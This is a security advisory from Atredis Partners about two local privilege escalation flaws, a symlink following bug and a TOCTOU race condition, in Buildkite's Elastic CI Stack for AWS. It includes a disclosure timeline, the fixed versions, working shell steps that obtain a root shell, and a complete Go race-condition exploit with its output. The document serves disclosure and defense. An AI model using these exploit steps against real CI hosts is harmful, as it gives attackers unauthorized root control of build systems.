Skip to content

Latest commit

 

History

History
270 lines (211 loc) · 10.1 KB

ATREDIS-2023-0003.md

File metadata and controls

270 lines (211 loc) · 10.1 KB

BuildKite - Elastic CI Stack for AWS Multiple Vulnerabilities

Vendors

  • BuildKite

Affected Products

Elastic CI Stack for AWS versions prior to 6.7.1 and 5.22.5

Summary

The fix-buildkite-agent-builds-permissions script is susceptible to multiple vulnerabilities when processing command-line arguments from the buildite-agent user, leading to local privilege escalation.

Mitigation

Customers should upgrade to the version branch that addresses these vulnerabilities (6.7.1/5.22.5). Alternatively, customers should consider deploying a pre-bootstrap hook to prevent execution of fix-buildkite-agent-builds-permissions during a build.

Credit

This issue was found by Nick Nam of Atredis Partners.

References

Report Timeline

  • 2023-09-08: Atredis Partners sent an initial notification to vendor, requesting PGP key for [email protected] to transmit Symbolic Link Following vulnerability details
  • 2023-09-11: Vendor replies confirming that the vulnerability details can be sent to [email protected] instead.
  • 2023-09-11: Atredis Partners transmits vulnerabilty details
  • 2023-09-11: Buildkite confirms receipt of the vulnerability details
  • 2023-09-13: Buildkite releases versions 6.7.0 and 5.22.4 on GitHub to address CVE-2023-43116
  • 2023-09-13: Atredis Partners reports vulnerability to MITRE for CVE ID assignment
  • 2023-09-14: Atredis Partners identifies and reports a TOCTOU vulnerability introduced in 6.7.0 and 5.22.4 to the vendor
  • 2023-09-18: Atredis Partners provides a proof-of-concept demonstrating exploitation of the TOCTOU vulnerability
  • 2023-09-19: Atredis Partners reports vulnerability to MITRE for CVE ID assignment
  • 2023-09-20: Buildkite releases versions 6.7.1 and 5.22.5 on GitHub to address CVE-2023-43741
  • 2023-12-08: Atredis Partners publishes advisory ATREDIS-2023-0003

Technical Details

CVE-2023-43116 - Symbolic Link Following

Buildkite Elastic CI Stack for AWS includes a shell script called fix-buildkite-agent-builds-permissions intended to recursively fix ownership for files and directories under /var/lib/buildkite-agent/builds:

...
# We know the builds path:
BUILDS_PATH="/var/lib/buildkite-agent/builds"

# And now we can reconstruct the full agent builds path:
PIPELINE_PATH="${BUILDS_PATH}/${AGENT_DIR}/${ORG_DIR}/${PIPELINE_DIR}"
# => "/var/lib/buildkite-agent/builds/my-agent-1/my-org/my-pipeline"

if [[ -e "${PIPELINE_PATH}" ]]; then
        /bin/chown -R buildkite-agent:buildkite-agent "${PIPELINE_PATH}"
fi

packer/linux/conf/buildkite-agent/scripts/fix-buildkite-agent-builds-permissions

Further, the script is permitted to be executed using sudo by the buildite-agent user through a sudoers.conf entry:

buildkite-agent ALL=NOPASSWD: /usr/bin/fix-buildkite-agent-builds-permissions

packer/linux/conf/buildkite-agent/sudoers.conf

However, all directories beneath /var/lib/buildkite-agent/builds are writeable by the buildkite-agent user by default. As a result, an attacker can create a symbolic link pointing to /usr/bin/ in a subdirectory within /var/lib/buildkite-agent/builds and execute fix-buildkite-agent-builds-permissions to change ownership of itself to buildkite-agent:buildkite-agent:

# change directory to ${AGENT_DIR}
$ cd /var/lib/buildkite-agent/builds/buildkite-agent-default-stack-i-abcdef0123456789-1/

# create symlink to /usr/bin
$ ln -s /usr/bin usr_bin

# execute fix-buildkite-agent-builds-permissions to change ownership of itself
$ sudo /usr/bin/fix-buildkite-agent-builds-permissions buildkite-agent-default-stack-i-abcdef0123456789-1 usr_bin fix-buildkite-agent-builds-permissions

# verify that ownership changed to buildkite-agent:buildkite-agent
$ ls -alh /usr/bin/fix-buildkite-agent-builds-permissions
-rwxr-xr-x 1 buildkite-agent buildkite-agent 2.4K May 27  2022 /usr/bin/fix-buildkite-agent-builds-permissions

Changing Ownership of fix-buildkite-agent-builds-permissions

After changing ownership of fix-buildkite-agent-builds-permissions, it can be modified to run sudo -i to execute an interactive root shell:

...
# In here we need to check that they both don't contain slashes or contain a
# traversal component.

# *** INSERTED TO SPAWN INTERACTIVE ROOT SHELL ***
sudo -i 
# *** INSERTED TO SPAWN INTERACTIVE ROOT SHELL ***

AGENT_DIR="$1"
# => "my-agent-1"

ORG_DIR="$2"
# => "my-org"
...

packer/linux/conf/buildkite-agent/scripts/fix-buildkite-agent-builds-permissions

When sudo /usr/bin/fix-buildkite-agent-builds-permissions is ran again, it executes an interactive root shell:

$ sudo /usr/bin/fix-buildkite-agent-builds-permissions
# id
uid=0(root) gid=0(root) groups=0(root)

Escalating to root

CVE-2023-43741 - Time-of-check Time-of-use (TOCTOU) Race Condition

Versions 6.7.0 and 5.22.4 addressed CVE-2023-43116 (Symbolic Link Following) through a check using realpath to identify any symbolic link segments in PIPELINE_PATH prior to changing ownership of PIPELINE_PATH.

...
# Check for symlink shenanigans
if [[ "$(realpath "${PIPELINE_PATH}")" != "${PIPELINE_PATH}" ]]; then
	exit 4
fi

# It should be a directory.
if [[ ! -d "${PIPELINE_PATH}" ]]; then
	exit 5
fi

# If we make it here, we're safe to go!

/bin/chown -R buildkite-agent:buildkite-agent "${PIPELINE_PATH}"

packer/linux/conf/buildkite-agent/scripts/fix-buildkite-agent-builds-permissions

This introduced a TOCTOU race condition allowing an attacker to effectively bypass the realpath check. To exploit this, an attacker could craft a PIPELINE_PATH directory that passes the realpath check and covert the directory to a symbolic link prior to the /bin/chown command. For example, this can be accomplished using the SYS_RENAMEAT2 system call as shown in the following proof-of-concept:

package main

import (
    "fmt"
    "os"
    "os/exec"
    "os/user"
    "path/filepath"
    "syscall"
    "unsafe"
)

func main() {
    // check that current user is buildkite-agent
    username := "buildkite-agent"
    currentUser, err := user.Current()
    if err != nil {
        panic(err)
    }   

    if username != currentUser.Username {
        fmt.Printf("Must be run as %s\n", username)
        return
    }   

    // define directories, paths, and script file name
    usrBin := "/usr/bin/"
    scriptFile := "fix-buildkite-agent-builds-permissions"
    buildPath := "/var/lib/buildkite-agent/builds"
    agentDirectory := "agent_dir"
    orgDirectory := "org_dir"
    pipelineDirectory := scriptFile
    usrBinSymlink := "usr_bin"

    // mkdir -p /var/lib/buildkite-agent/builds/agent_dir/org_dir/fix-buildkite-agent-builds-permissions
    err = os.MkdirAll(filepath.Join(buildPath, agentDirectory, orgDirectory, pipelineDirectory), 0755)
    if err != nil {
        panic(err)
    }

    // ln -s /usr/bin/ /var/lib/buildkite-agent/builds/agent_dir/usr_bin
    err = os.Symlink(usrBin, filepath.Join(buildPath, agentDirectory, usrBinSymlink))
    if err != nil {
        panic(err)
    }

    // cd /var/lib/buildkite-agent/builds/agent_dir/
    err = os.Chdir(filepath.Join(buildPath, agentDirectory))
    if err != nil {
        panic(err)
    }

    // loop renameat2 to atomically exchange names between org_dir and usr_bin
    signal := AtomicNameExchanger(orgDirectory, usrBinSymlink)

    for {
        // sudo /usr/bin/fix-buildkite-agent-builds-permissions agent_dir usr_bin fix-buildkite-agent-builds-permissions
        cmd := exec.Command("sudo", filepath.Join(usrBin, scriptFile), agentDirectory, usrBinSymlink, scriptFile)
        _ = cmd.Run()

        // check ownership of /usr/bin/fix-buildkite-agent-builds-permissions
        var stat syscall.Stat_t
        err = syscall.Stat(filepath.Join(usrBin, scriptFile), &stat)
        if err != nil {
                panic(err)
        }

        // check if ownership changed
        if int(stat.Uid) == os.Getuid() {
                // success
                signal <- 0
                break
        }
    }

    // ownership changed
    fmt.Println("\n\nownership changed:")
    cmd := exec.Command("/bin/ls", "-lah", filepath.Join(usrBin, scriptFile))
    cmd.Stdout = os.Stdout
    cmd.Stderr = os.Stderr
    _ = cmd.Run()
}

func AtomicNameExchanger(relativePath1, relativePath2 string) chan int {
    ch := make(chan int)
    const SYS_RENAMEAT2 = 316 
    AT_FDCWD := -100
    RENAME_EXCHANGE := 2 

    p1, _ := syscall.BytePtrFromString(relativePath1)
    p2, _ := syscall.BytePtrFromString(relativePath2)

    go func() {
        for {
            select {
            case <- ch: 
                    fmt.Println("boom!")
                    return
            default:
                    fmt.Print(".")
                    _, _, _ = syscall.Syscall6(
                        SYS_RENAMEAT2, 
                        uintptr(AT_FDCWD), 
                        uintptr(unsafe.Pointer(p1)), 
                        uintptr(AT_FDCWD), 
                        uintptr(unsafe.Pointer(p2)), 
                        uintptr(RENAME_EXCHANGE), 
                        0)
            }
        }
    }()
    return ch
}

Succesful exploitation results in changing ownership of the fix-buildkite-agent-builds-permissions script to buildkite-agent which can then be modified and executed to escalate privileges as descibed in CVE-2023-43116 - Symbolic Link Following:

$ go run toctou-poc.go 
..............................................................................................................
..............................................................................................................
..............................................................................................................
.........................................................................................boom!
ownership changed:
-rwxr-xr-x 1 buildkite-agent buildkite-agent 2.7K Sep 14 07:56 /usr/bin/fix-buildkite-agent-builds-permissions

Changing Ownership of fix-buildkite-agent-builds-permissions